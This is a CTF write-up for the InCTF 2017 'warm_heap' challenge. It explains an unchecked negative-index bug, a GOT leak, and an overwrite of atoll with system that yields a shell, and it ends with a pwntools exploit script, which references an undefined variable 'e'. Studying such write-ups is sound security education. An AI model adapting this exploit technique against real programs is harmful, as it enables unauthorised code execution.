InCTF 2017: warm_heap pwn Writeup

Author: 4rbit3r

Hello, this was a nice challenge from InCTF 2017, let’s see how to get the exploit working.

As usual, running checksec on the binary gives:

w2_checksec

Nothing much here, let us look at the program itself. It is a menu driven program with some basic functionalities:

  1. Add note
  2. Edit note
  3. Remove note
  4. View note

These notes are stored as pointers in a global array named table and the size for each corresponding note is stored in another global array, (stored above table in memory) named size.

If we take a look at the code, we’ll see that a verify function is being called to check if the index requested by the user is less than 9 or not. If we look closely there, we see that it only checks for the upper limit. So we can enter negative numbers and see if that gets us anywhere. 😉

Now, first, we need the libc leak. We will try and leak the GOT. But how to do it? The view function prints out the value at any address in the table array (by taking the index value), we can use it to print out the value at an address before the table array through the indexing vulnerability. To get a leak, we need to print the value at a GOT address. For that, we need to write the GOT address somewhere in our memory first and then call the view function with the corresponding index value. To write the GOT address, we can simply create a note of size, say, 0x602020 (the GOT of puts). This puts a GOT address in the array size which is placed above array table in memory. I used the GOT address of atoll (0x602050) for convenience. So, to sum up, to get a leak we can do the following:

  1. Make a note of size 0x602050 (the got of atoll). This value is now written to the address size[0] (if you chose the index as 0).
  2. Call the view function at index -12 (if the index that you chose earlier was 0), this makes a reference to table[-12] – which is essentially size[0], where the GOT address is written!
  3. Read the bytes printed out, that gives us the leak. 🙂

Now that we have the leak, let us work on executing the system function. What we can do for that is simply a GOT overwrite through, again, the indexing vulnerability. What we are going to do is this: call the edit function with the index as -12 again – which makes a reference to table[-12] ~ size[0], where the GOT address is written. Here, I had chosen to write the GOT of the atoll function in order to be able to overwrite it with the address of the system function.

There is a problem here though. In the edit function, there is a call to get_inp with the arguments as table[index] and size[index] as given here.

w2_ida_editfn

In the get_inp (address, size) function, the input is read into address till size bytes. This means that even though our table[-12] points to the desired GOT address, we also need size[-12] to point to some positive value. As it turns out, size[-12] points to a negative value (a libc address in the GOT table), but on looking around a bit we can see that size[-10] points to a PLT address which is read as a positive integer. Hence, we should make another note at index 2 with size as a GOT address like 0x602050 (atoll) and then call the edit function with index -10. This lets us edit the value at our GOT address. I overwrote the GOT address of the function atoll with the address of the system function. Hence, for the GOT overwrite, the method goes:

  1. Make a chunk of a size of a GOT address at index 2.
  2. Edit the chunk at index -10. This calls the get_inp function with arguments as table[-10] (~ size[2], the GOT address entered by you) and size[-10] (~ a PLT address, which is a positive integer).
  3. Write the address of the system function here.

Now, calling the system function. If we look at the code, can see that the atoll function is called within the add function with an argument that is a pointer to a string that we give as input, so it seems to be a good choice to overwrite this function with the address of the system function. It is actually called within the function which asks the user to input a size for the new note, so we can just call the add function and give /bin/sh when asked for input size and voila! We have a shell. 🙂

Summing it up:

  1. Make a note of size 0x602050 (the got of atoll). This value is now written to the address size[0] (if you chose the index as 0).
  2. Call the view function at index -12 (if the index that you chose earlier was 0), this makes a reference to table[-12] – which is essentially size[0], where the GOT address is written!
  3. Read the bytes printed out, that gives us the leak.
  4. Make a chunk of a size of a GOT address at index 2.
  5. Edit the chunk at index -10. This calls the get_inp function with arguments as table[-10] (~ size[2], the GOT address entered by you) and size[-10] (~ a PLT address, which is a positive integer).
  6. Write the address of the system function here.
  7. Supposing you overwrote the atoll function, call the add function.
  8. Enter /bin/sh\x00 when asked for input size.

That gives the shell. Here is the script:

from pwn import *

p = remote('127.0.0.1', 5656)

p.recvuntil('>> ')
p.sendline('1')

p.recvuntil('index: ')
p.sendline('0')

p.recvuntil('size: ')
p.sendline(str(0x602050)) # the atoi of atoll

p.recvuntil('input: ')
p.sendline('/bin/sh\x00')

p.recvuntil('>> ')
p.sendline('1')

p.recvuntil('index: ')
p.sendline('2')

p.recvuntil('size: ')
p.sendline(str(e.got['atoll']))

p.recvuntil('input: ')
p.sendline('/bin/sh\x00')

p.recvuntil('>> ')
p.sendline('4')

p.recvuntil('index: ')
p.sendline('-12')

leak = p.recv(6)
leak = leak.ljust(8, '\x00')
leak = u64(leak)
system = leak + 58592
print hex(system)

p.recvuntil('>> ')
p.sendline('2')

p.recvuntil('index: ')
p.sendline('-10')

p.recvuntil('input: ')
p.sendline(p64(system))

p.recvuntil('>> ')
p.sendline('1')

p.recvuntil('index: ')
p.sendline('1')

p.recvuntil('size: ')
p.sendline('/bin/sh\x00')

p.interactive()

Let us know if you have any questions in the comments section below. Happy pwning! 🙂

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Blog at WordPress.com.

Up ↑

%d bloggers like this: